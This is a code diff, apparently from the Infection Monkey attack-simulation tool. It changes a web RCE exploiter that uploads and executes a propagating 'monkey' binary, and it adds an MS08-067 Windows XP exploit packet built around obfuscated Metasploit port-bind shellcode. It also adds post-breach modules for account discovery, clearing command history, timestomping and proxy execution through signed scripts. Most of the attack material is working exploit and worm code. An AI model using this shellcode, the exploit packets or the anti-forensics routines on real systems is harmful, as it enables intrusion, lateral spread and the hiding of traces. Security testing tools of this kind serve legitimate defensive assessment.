potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
|
||||||
self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
|
self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls'])
|
||||||
|
|
||||||
if not self.vulnerable_urls:
|
if not self.are_vulnerable_urls_sufficient():
|
||||||
return False
|
return False
|
||||||
|
|
||||||
self.target_url = self.vulnerable_urls[0]
|
self.target_url = self.get_target_url()
|
||||||
self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url)
|
self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url)
|
||||||
|
|
||||||
# Skip if monkey already exists and this option is given
|
# Skip if monkey already exists and this option is given
|
||||||
|
@ -104,21 +104,21 @@ class WebRCE(HostExploiter):
|
||||||
return True
|
return True
|
||||||
|
|
||||||
# Check for targets architecture (if it's 32 or 64 bit)
|
# Check for targets architecture (if it's 32 or 64 bit)
|
||||||
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.target_url):
|
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.get_target_url()):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Upload the right monkey to target
|
# Upload the right monkey to target
|
||||||
data = self.upload_monkey(self.target_url, exploit_config['upload_commands'])
|
data = self.upload_monkey(self.get_target_url(), exploit_config['upload_commands'])
|
||||||
|
|
||||||
if data is False:
|
if data is False:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Change permissions to transform monkey into executable file
|
# Change permissions to transform monkey into executable file
|
||||||
if self.change_permissions(self.target_url, data['path']) is False:
|
if self.change_permissions(self.get_target_url(), data['path']) is False:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Execute remote monkey
|
# Execute remote monkey
|
||||||
if self.execute_remote_monkey(self.target_url, data['path'], exploit_config['dropper']) is False:
|
if self.execute_remote_monkey(self.get_target_url(), data['path'], exploit_config['dropper']) is False:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
@ -193,6 +193,7 @@ class WebRCE(HostExploiter):
|
||||||
|
|
||||||
def build_potential_urls(self, ports, extensions=None):
|
def build_potential_urls(self, ports, extensions=None):
|
||||||
"""
|
"""
|
||||||
|
Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions.
|
||||||
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
|
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
|
||||||
Eg. ports: [[80, False], [443, True]]
|
Eg. ports: [[80, False], [443, True]]
|
||||||
:param extensions: What subdirectories to scan. www.domain.com[/extension]
|
:param extensions: What subdirectories to scan. www.domain.com[/extension]
|
||||||
|
@ -350,7 +351,6 @@ class WebRCE(HostExploiter):
|
||||||
if not commands:
|
if not commands:
|
||||||
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
|
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
|
||||||
command = self.get_command(paths['dest_path'], http_path, commands)
|
command = self.get_command(paths['dest_path'], http_path, commands)
|
||||||
|
|
||||||
resp = self.exploit(url, command)
|
resp = self.exploit(url, command)
|
||||||
self.add_executed_cmd(command)
|
self.add_executed_cmd(command)
|
||||||
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
|
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
|
||||||
|
@ -508,3 +508,21 @@ class WebRCE(HostExploiter):
|
||||||
|
|
||||||
def set_vulnerable_port_from_url(self, url):
|
def set_vulnerable_port_from_url(self, url):
|
||||||
self.vulnerable_port = HTTPTools.get_port_from_url(url)
|
self.vulnerable_port = HTTPTools.get_port_from_url(url)
|
||||||
|
|
||||||
|
def get_target_url(self):
|
||||||
|
"""
|
||||||
|
This method allows "configuring" the way in which a vulnerable URL is picked.
|
||||||
|
If the same URL should be used - always return the first.
|
||||||
|
Otherwise - implement your own (e.g. Drupal must use a new URI each time).
|
||||||
|
:return: a vulnerable URL
|
||||||
|
"""
|
||||||
|
return self.vulnerable_urls[0]
|
||||||
|
|
||||||
|
def are_vulnerable_urls_sufficient(self):
|
||||||
|
"""
|
||||||
|
Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack.
|
||||||
|
Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a vulnerable URL is for
|
||||||
|
single use, thus we need a couple of them.
|
||||||
|
:return: Whether or not a full attack can be performed using the available vulnerable URLs.
|
||||||
|
"""
|
||||||
|
return len(self.vulnerable_urls) > 0
|
||||||
|
|
|
@ -14,6 +14,7 @@ from logging import getLogger
|
||||||
from impacket import uuid
|
from impacket import uuid
|
||||||
from impacket.dcerpc.v5 import transport
|
from impacket.dcerpc.v5 import transport
|
||||||
|
|
||||||
|
from common.utils.shellcode_obfuscator import clarify
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.helpers import (build_monkey_commandline,
|
from infection_monkey.exploit.tools.helpers import (build_monkey_commandline,
|
||||||
get_monkey_depth,
|
get_monkey_depth,
|
||||||
|
@ -27,29 +28,44 @@ from infection_monkey.network.tools import check_tcp_port
|
||||||
LOG = getLogger(__name__)
|
LOG = getLogger(__name__)
|
||||||
|
|
||||||
# Portbind shellcode from metasploit; Binds port to TCP port 4444
|
# Portbind shellcode from metasploit; Binds port to TCP port 4444
|
||||||
SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
OBFUSCATED_SHELLCODE = ("\xa9\xb6\x4a\x39\x56\x60\xb5\xba\xf6\xb2\xc0\x19\xc1\x66\xb5\xbb\x7f\x49\x2e"
|
||||||
SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
|
"\x2d\x2a\x4a\x1d\x62\x79\x49\x7d\x16\x56\xdc\x9c\x16\xfa\x78\x4f\x30\x04\xde"
|
||||||
SHELLCODE += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
|
"\x9a\x16\xf8\xe3\x1b\xb8\xa8\xdc\x1b\xb8\xf8\xe4\x1d\xb2\x7f\x49\x0e\x9c\x56"
|
||||||
SHELLCODE += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
|
"\xa0\xf9\x17\xdb\xde\xe1\x42\x02\x8e\x30\x64\x3a\x9a\x08\x17\x84\xf4\xb4\x43"
|
||||||
SHELLCODE += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
|
"\x5a\x76\x7b\x0b\x20\xf2\x20\x0e\x20\x7a\x63\xb0\xf9\xdc\xaf\x60\xc4\xd5\x22"
|
||||||
SHELLCODE += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
|
"\x8f\xcd\xdc\x2c\x39\x56\xe3\x9c\x16\xfe\xcf\x8c\x90\x4e\xde\xd9\x39\x56\xe3"
|
||||||
SHELLCODE += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
|
"\x1e\xbd\xf9\x60\xb5\xbe\xe0\x30\x03\x0c\xc1\x66\xb5\xbc\xfa\x60\xb5\xbe\x40"
|
||||||
SHELLCODE += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
|
"\x98\xe7\x4d\xc1\x66\xb5\xbc\xf8\xa6\x20\x3f\x56\xe1\x8d\x99\xb3\x12\x22\x7c"
|
||||||
SHELLCODE += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
|
"\x48\x3f\x19\x8f\xf5\xa7\x22\x8f\x79\x49\x19\xaa\xfa\xf5\x19\xba\xfa\xe5\x19"
|
||||||
SHELLCODE += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
|
"\x3f\x56\xe1\xe7\x1c\xa0\x6f\x22\x39\x56\xb4\x20\xbc\xab\xbe\xa7\x68\xcf\x53"
|
||||||
SHELLCODE += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
|
"\xc3\xb6\x7f\x49\x1a\xd2\x55\x5b\x81\x81\x79\x49\x1e\xb6\x9b\xc5\x3d\x81\x9b"
|
||||||
SHELLCODE += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
|
"\x85\x22\x8f\xfa\xd0\x9c\x16\xf9\x5a\x44\xa7\x27\xde\x14\xe1\xe9\x3d\xe7\xf5"
|
||||||
SHELLCODE += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
|
"\xd9\x3d\x46\xa9\x22\x86\x09\x62\xcd\x6d\x7b\x2a\xc8\xaa\x6e\x85\x20\x3d\x66"
|
||||||
SHELLCODE += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
|
"\xea\x42\xb7\x56\xb6\x22\xfd\x46\x62\xcf\x5d\x4b\xcd\xf6\x3d\xaf\x9c\x81\x92"
|
||||||
SHELLCODE += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
|
"\x1e\xd2\x5d\x5d\x88\xe8\xa4\x7c\x8b\xee\xdd\x76\xce\x45\x30\x76\x7b\x07\xa8"
|
||||||
SHELLCODE += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
|
"\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52\xa6\x22\x59\x4b\x91\xac\xca\xc1\xd5"
|
||||||
SHELLCODE += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
|
"\xec\x3d\x6e\xcd\xc5\x3d\x2a\x16\x56\x49\xb3\x01\xe4\x5d\x20\x15\xf4\xe2\xfc"
|
||||||
SHELLCODE += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
|
"\xee\x83\xa9\xb6\x4a\xe9\x0e\x76\x81\x5e\xc0\xff\xff\xff\xff\xe8\xb0\xe9\x83"
|
||||||
SHELLCODE += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
|
"\xc9\x29\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90")
|
||||||
SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
|
|
||||||
SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
|
SHELLCODE = clarify(OBFUSCATED_SHELLCODE)
|
||||||
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
|
|
||||||
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
|
XP_PACKET = ("\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43"
|
||||||
|
"\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01"
|
||||||
|
"\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47"
|
||||||
|
"\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48"
|
||||||
|
"\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49"
|
||||||
|
"\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
|
||||||
|
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90"
|
||||||
|
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||||
|
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||||
|
"\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00"
|
||||||
|
"\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02"
|
||||||
|
"\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41"
|
||||||
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
||||||
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||||
|
"\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00")
|
||||||
|
|
||||||
# Payload for Windows 2000 target
|
# Payload for Windows 2000 target
|
||||||
PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
|
PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
|
||||||
|
@ -83,6 +99,7 @@ PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00'
|
||||||
class WindowsVersion(IntEnum):
|
class WindowsVersion(IntEnum):
|
||||||
Windows2000 = 1
|
Windows2000 = 1
|
||||||
Windows2003_SP2 = 2
|
Windows2003_SP2 = 2
|
||||||
|
WindowsXP = 3
|
||||||
|
|
||||||
|
|
||||||
class SRVSVC_Exploit(object):
|
class SRVSVC_Exploit(object):
|
||||||
|
@ -92,6 +109,7 @@ class SRVSVC_Exploit(object):
|
||||||
self._port = port
|
self._port = port
|
||||||
self._target = target_addr
|
self._target = target_addr
|
||||||
self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003
|
self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003
|
||||||
|
self.os_version = os_version
|
||||||
|
|
||||||
def get_telnet_port(self):
|
def get_telnet_port(self):
|
||||||
"""get_telnet_port()
|
"""get_telnet_port()
|
||||||
|
@ -130,6 +148,8 @@ class SRVSVC_Exploit(object):
|
||||||
return sock
|
return sock
|
||||||
|
|
||||||
def _build_dce_packet(self):
|
def _build_dce_packet(self):
|
||||||
|
if self.os_version == WindowsVersion.WindowsXP:
|
||||||
|
return XP_PACKET
|
||||||
# Constructing Malicious Packet
|
# Constructing Malicious Packet
|
||||||
dce_packet = '\x01\x00\x00\x00'
|
dce_packet = '\x01\x00\x00\x00'
|
||||||
dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
|
dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
|
||||||
|
@ -158,7 +178,8 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
_EXPLOITED_SERVICE = 'Microsoft Server Service'
|
_EXPLOITED_SERVICE = 'Microsoft Server Service'
|
||||||
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
|
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
|
||||||
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
|
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
|
||||||
|
'Windows 5.1': WindowsVersion.WindowsXP}
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(Ms08_067_Exploiter, self).__init__(host)
|
super(Ms08_067_Exploiter, self).__init__(host)
|
||||||
|
@ -232,7 +253,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
break
|
break
|
||||||
|
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
return False
|
return True
|
||||||
|
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
|
@ -248,11 +269,11 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
vulnerable_port=SRVSVC_Exploit.TELNET_PORT)
|
vulnerable_port=SRVSVC_Exploit.TELNET_PORT)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.send("start %s\r\n" % (cmdline,))
|
sock.send(("start %s\r\n" % (cmdline,)).encode())
|
||||||
sock.send("net user %s /delete\r\n" % (self._config.user_to_add,))
|
sock.send(("net user %s /delete\r\n" % (self._config.user_to_add,)).encode())
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
|
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
|
||||||
return False
|
return True
|
||||||
finally:
|
finally:
|
||||||
try:
|
try:
|
||||||
sock.close()
|
sock.close()
|
||||||
|
|
|
@ -7,8 +7,9 @@ import sys
|
||||||
import traceback
|
import traceback
|
||||||
from multiprocessing import freeze_support
|
from multiprocessing import freeze_support
|
||||||
|
|
||||||
|
# dummy import for pyinstaller
|
||||||
# noinspection PyUnresolvedReferences
|
# noinspection PyUnresolvedReferences
|
||||||
import infection_monkey.post_breach # dummy import for pyinstaller
|
import infection_monkey.post_breach # noqa: F401
|
||||||
from common.version import get_version
|
from common.version import get_version
|
||||||
from infection_monkey.config import EXTERNAL_CONFIG_FILE, WormConfiguration
|
from infection_monkey.config import EXTERNAL_CONFIG_FILE, WormConfiguration
|
||||||
from infection_monkey.dropper import MonkeyDrops
|
from infection_monkey.dropper import MonkeyDrops
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
from infection_monkey.model.host import VictimHost
|
from infection_monkey.model.host import VictimHost # noqa: F401
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
|
|
@ -89,7 +89,7 @@ class InfectionMonkey(object):
|
||||||
if self._opts.depth is not None:
|
if self._opts.depth is not None:
|
||||||
WormConfiguration._depth_from_commandline = True
|
WormConfiguration._depth_from_commandline = True
|
||||||
WormConfiguration.depth = self._opts.depth
|
WormConfiguration.depth = self._opts.depth
|
||||||
LOG.debug(f"Setting propagation depth from command line")
|
LOG.debug("Setting propagation depth from command line")
|
||||||
LOG.debug(f"Set propagation depth to {WormConfiguration.depth}")
|
LOG.debug(f"Set propagation depth to {WormConfiguration.depth}")
|
||||||
|
|
||||||
self._keep_running = True
|
self._keep_running = True
|
||||||
|
@ -337,8 +337,8 @@ class InfectionMonkey(object):
|
||||||
:return: True if successfully exploited, False otherwise
|
:return: True if successfully exploited, False otherwise
|
||||||
"""
|
"""
|
||||||
if not exploiter.is_os_supported():
|
if not exploiter.is_os_supported():
|
||||||
LOG.info("Skipping exploiter %s host:%r, os is not supported",
|
LOG.info("Skipping exploiter %s host:%r, os %s is not supported",
|
||||||
exploiter.__class__.__name__, machine)
|
exploiter.__class__.__name__, machine, machine.os)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
|
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
|
||||||
|
|
|
@ -12,7 +12,7 @@ __author__ = 'itamar'
|
||||||
|
|
||||||
PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c"
|
PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c"
|
||||||
PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W"
|
PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W"
|
||||||
TTL_REGEX_STR = '(?<=TTL\=)[0-9]+'
|
TTL_REGEX_STR = r'(?<=TTL\=)[0-9]+'
|
||||||
LINUX_TTL = 64
|
LINUX_TTL = 64
|
||||||
WINDOWS_TTL = 128
|
WINDOWS_TTL = 128
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,7 @@ from infection_monkey.network.tools import check_tcp_port
|
||||||
|
|
||||||
SSH_PORT = 22
|
SSH_PORT = 22
|
||||||
SSH_SERVICE_DEFAULT = 'tcp-22'
|
SSH_SERVICE_DEFAULT = 'tcp-22'
|
||||||
SSH_REGEX = 'SSH-\d\.\d-OpenSSH'
|
SSH_REGEX = r'SSH-\d\.\d-OpenSSH'
|
||||||
TIMEOUT = 10
|
TIMEOUT = 10
|
||||||
BANNER_READ = 1024
|
BANNER_READ = 1024
|
||||||
LINUX_DIST_SSH = ['ubuntu', 'debian']
|
LINUX_DIST_SSH = ['ubuntu', 'debian']
|
||||||
|
|
|
@ -0,0 +1,10 @@
|
||||||
|
from infection_monkey.post_breach.account_discovery.linux_account_discovery import \
|
||||||
|
get_linux_commands_to_discover_accounts
|
||||||
|
from infection_monkey.post_breach.account_discovery.windows_account_discovery import \
|
||||||
|
get_windows_commands_to_discover_accounts
|
||||||
|
|
||||||
|
|
||||||
|
def get_commands_to_discover_accounts():
|
||||||
|
linux_cmds = get_linux_commands_to_discover_accounts()
|
||||||
|
windows_cmds = get_windows_commands_to_discover_accounts()
|
||||||
|
return linux_cmds, windows_cmds
|
|
@ -0,0 +1,7 @@
|
||||||
|
def get_linux_commands_to_discover_accounts():
|
||||||
|
return [
|
||||||
|
"echo \'Discovered the following user accounts:\'; ",
|
||||||
|
"cut -d: -f1,3 /etc/passwd | ",
|
||||||
|
"egrep ':[0-9]{4}$' | ",
|
||||||
|
"cut -d: -f1"
|
||||||
|
]
|
|
@ -0,0 +1,2 @@
|
||||||
|
def get_windows_commands_to_discover_accounts():
|
||||||
|
return "powershell Get-LocalUser"
|
|
@ -0,0 +1,50 @@
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
from common.data.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY
|
||||||
|
from infection_monkey.post_breach.clear_command_history.clear_command_history import \
|
||||||
|
get_commands_to_clear_command_history
|
||||||
|
from infection_monkey.post_breach.pba import PBA
|
||||||
|
from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
|
||||||
|
|
||||||
|
|
||||||
|
class ClearCommandHistory(PBA):
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__(name=POST_BREACH_CLEAR_CMD_HISTORY)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
results = [pba.run() for pba in self.clear_command_history_PBA_list()]
|
||||||
|
if results:
|
||||||
|
PostBreachTelem(self, results).send()
|
||||||
|
|
||||||
|
def clear_command_history_PBA_list(self):
|
||||||
|
return self.CommandHistoryPBAGenerator().get_clear_command_history_pbas()
|
||||||
|
|
||||||
|
class CommandHistoryPBAGenerator():
|
||||||
|
def get_clear_command_history_pbas(self):
|
||||||
|
(cmds_for_linux, command_history_files_for_linux, usernames_for_linux) =\
|
||||||
|
get_commands_to_clear_command_history()
|
||||||
|
|
||||||
|
pbas = []
|
||||||
|
|
||||||
|
for username in usernames_for_linux:
|
||||||
|
for command_history_file in command_history_files_for_linux:
|
||||||
|
linux_cmds = ' '.join(cmds_for_linux).format(command_history_file).format(username)
|
||||||
|
pbas.append(self.ClearCommandHistoryFile(linux_cmds=linux_cmds))
|
||||||
|
|
||||||
|
return pbas
|
||||||
|
|
||||||
|
class ClearCommandHistoryFile(PBA):
|
||||||
|
def __init__(self, linux_cmds):
|
||||||
|
super().__init__(name=POST_BREACH_CLEAR_CMD_HISTORY,
|
||||||
|
linux_cmd=linux_cmds)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
if self.command:
|
||||||
|
try:
|
||||||
|
output = subprocess.check_output(self.command, # noqa: DUO116
|
||||||
|
stderr=subprocess.STDOUT,
|
||||||
|
shell=True).decode()
|
||||||
|
return output, True
|
||||||
|
except subprocess.CalledProcessError as e:
|
||||||
|
# Return error output of the command
|
||||||
|
return e.output.decode(), False
|
|
@ -44,7 +44,7 @@ class CommunicateAsNewUser(PBA):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_random_new_user_name():
|
def get_random_new_user_name():
|
||||||
return USERNAME_PREFIX + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
|
return USERNAME_PREFIX + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) # noqa: DUO102
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_commandline_for_http_request(url, is_windows=is_windows_os()):
|
def get_commandline_for_http_request(url, is_windows=is_windows_os()):
|
||||||
|
|
|
@ -0,0 +1,12 @@
|
||||||
|
from common.data.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY
|
||||||
|
from infection_monkey.post_breach.account_discovery.account_discovery import \
|
||||||
|
get_commands_to_discover_accounts
|
||||||
|
from infection_monkey.post_breach.pba import PBA
|
||||||
|
|
||||||
|
|
||||||
|
class AccountDiscovery(PBA):
|
||||||
|
def __init__(self):
|
||||||
|
linux_cmds, windows_cmds = get_commands_to_discover_accounts()
|
||||||
|
super().__init__(POST_BREACH_ACCOUNT_DISCOVERY,
|
||||||
|
linux_cmd=' '.join(linux_cmds),
|
||||||
|
windows_cmd=windows_cmds)
|
|
@ -4,8 +4,9 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
|
||||||
from infection_monkey.utils.environment import is_windows_os
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
from infection_monkey.utils.hidden_files import (cleanup_hidden_files,
|
from infection_monkey.utils.hidden_files import (cleanup_hidden_files,
|
||||||
get_commands_to_hide_files,
|
get_commands_to_hide_files,
|
||||||
get_commands_to_hide_folders,
|
get_commands_to_hide_folders)
|
||||||
get_winAPI_to_hide_files)
|
from infection_monkey.utils.windows.hidden_files import \
|
||||||
|
get_winAPI_to_hide_files
|
||||||
|
|
||||||
HIDDEN_FSO_CREATION_COMMANDS = [get_commands_to_hide_files,
|
HIDDEN_FSO_CREATION_COMMANDS = [get_commands_to_hide_files,
|
||||||
get_commands_to_hide_folders]
|
get_commands_to_hide_folders]
|
||||||
|
|
|
@ -0,0 +1,12 @@
|
||||||
|
from common.data.post_breach_consts import POST_BREACH_TIMESTOMPING
|
||||||
|
from infection_monkey.post_breach.pba import PBA
|
||||||
|
from infection_monkey.post_breach.timestomping.timestomping import \
|
||||||
|
get_timestomping_commands
|
||||||
|
|
||||||
|
|
||||||
|
class Timestomping(PBA):
|
||||||
|
def __init__(self):
|
||||||
|
linux_cmds, windows_cmds = get_timestomping_commands()
|
||||||
|
super().__init__(POST_BREACH_TIMESTOMPING,
|
||||||
|
linux_cmd=linux_cmds,
|
||||||
|
windows_cmd=windows_cmds)
|
|
@ -0,0 +1,30 @@
|
||||||
|
import logging
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
from common.data.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC
|
||||||
|
from infection_monkey.post_breach.pba import PBA
|
||||||
|
from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import (
|
||||||
|
cleanup_changes, get_commands_to_proxy_execution_using_signed_script)
|
||||||
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class SignedScriptProxyExecution(PBA):
|
||||||
|
def __init__(self):
|
||||||
|
windows_cmds = get_commands_to_proxy_execution_using_signed_script()
|
||||||
|
super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC,
|
||||||
|
windows_cmd=' '.join(windows_cmds))
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
try:
|
||||||
|
original_comspec = ''
|
||||||
|
if is_windows_os():
|
||||||
|
original_comspec =\
|
||||||
|
subprocess.check_output('if defined COMSPEC echo %COMSPEC%', shell=True).decode() # noqa: DUO116
|
||||||
|
|
||||||
|
super().run()
|
||||||
|
except Exception as e:
|
||||||
|
LOG.warning(f"An exception occurred on running PBA {POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}")
|
||||||
|
finally:
|
||||||
|
cleanup_changes(original_comspec)
|
|
@ -0,0 +1,12 @@
|
||||||
|
from infection_monkey.post_breach.clear_command_history.linux_clear_command_history import (
|
||||||
|
get_linux_command_history_files,
|
||||||
|
get_linux_commands_to_clear_command_history, get_linux_usernames)
|
||||||
|
|
||||||
|
|
